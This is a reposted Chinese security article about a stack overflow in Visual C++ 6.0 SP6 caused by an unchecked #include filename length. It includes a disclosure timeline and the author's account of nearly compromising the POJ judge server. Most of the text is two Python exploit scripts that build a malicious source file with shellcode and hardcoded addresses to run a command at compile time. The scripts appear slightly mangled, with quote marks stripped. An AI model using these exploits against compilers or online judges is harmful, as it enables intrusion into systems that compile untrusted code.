首页 网络安全 安全学院 查看内容

vc6.0栈溢出

2009-2-4 17:50 503 0

摘要: from:幻影maillist憋了半年了。问题处在include的文件名长度未检测。比如#include "AAAA....AA"(超多A)就会挂。<=2008-2-17 发现漏洞。2008-3...
关键词: address shellcode alshellcode include eaxshellcode struct 2008 push 漏洞 pack

from:幻影maillist憋了半年了。问题处在include的文件名长度未检测。比如#include "AAAA....AA"(超多A)就会挂。<=2008-2-17 发现漏洞。2008-3-3 报告给MS,当天收到答复,说正在研究中。2008-3-4 MS确认这是一个安全缺陷,但说Visual C++ 6.0的产品支持生命周期已经于2005年9月30日结束,因此不会为这个漏洞发布安全公告或安全建议,且建议我不要公开。我差点利用这个漏洞黑了poj(acm.pku.edu.cn,做acm的同学应该都知道这个网站)。可惜功亏一篑,只得到了一台没有价值的内网机器,最后和管理员摊牌了。既然现在poj已经把vc6.0换成了vs2008,那我就没有继续憋着的理由了哈哈。下面给出两个不同的vc6.0 sp6的exp,其他的sp可能偏移不一样,自己调试吧。vc6_exp.py#######################################################################!/usr/bin/env python# vc6 exploit by cly# 2008-2-17import structaddress_jmp_esp = 0x1065AEB3address_system = 0x77BF93C7address_exit = 0x77C09E7Efilename = e.ccmd = calcf = open(filename, wb)f.write(#include "c:\\A + cmd + || + A * (146 - len(cmd))+ struct.pack(<i, address_jmp_esp)+ \x83\xEC\x33\x83\xEC\x65\x8B\xC4\x83\xEC\x04\x89\x04\x24\xE8+ struct.pack(<i, address_system - 0x0012F0AF) + \xE8+ struct.pack(<i, address_exit - 0x0012F0B4) + A * 84 +")f.close()######################################################################vc6_exp2.py#######################################################################!/usr/bin/env python# vc6 exploit by cly# 2008-2-17import structfilename = e.ccmd = calcaddress_data = 0x1066EFFBshellcode = \x32\xC0 # xor al, alshellcode += \xA2\x9E\xF0\x66\x10 # mov [1066F09E], alshellcode += \xA2\xA5\xF0\x66\x10 # mov [1066F0A5], alshellcode += \x68\x94\xf0\x66\x10 # push 1066F094 ; ASCII"msvcrt.dll"shellcode += \xFF\x15\xD8\x31\x65\x10 # call [106531D8] ;kernel32.GetModuleHandleAshellcode += \x68\x9F\xF0\x66\x10 # push 1066F09F ; ASCII"system"shellcode += \x50 # push eaxshellcode += \xFF\x15\xDC\x31\x65\x10 # call [106531DC] ;kernel32.GetProcAddressshellcode += \x68\xA6\xF0\x66\x10 # push 1066F0A6 ; ASCIIcmdshellcode += \xFF\xD0 # call eaxshellcode += \x32\xC0 # xor al, alshellcode += \x50 # push eaxshellcode += \xFF\x15\xB8\x31\x65\x10 # call [106531B8] ;kernel32.ExitProcessf = open(filename, wb)f.write(#include "c:\\ + shellcode + A * (149 - len(shellcode))+ struct.pack(<i, address_data) + msvcrt.dllAsystemA+ cmd + * (90 - len(cmd)) + ")f.close()######################################################################《vc6.0栈溢出》来源于:http://www.wairi.cn/article.asp?id=2513
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部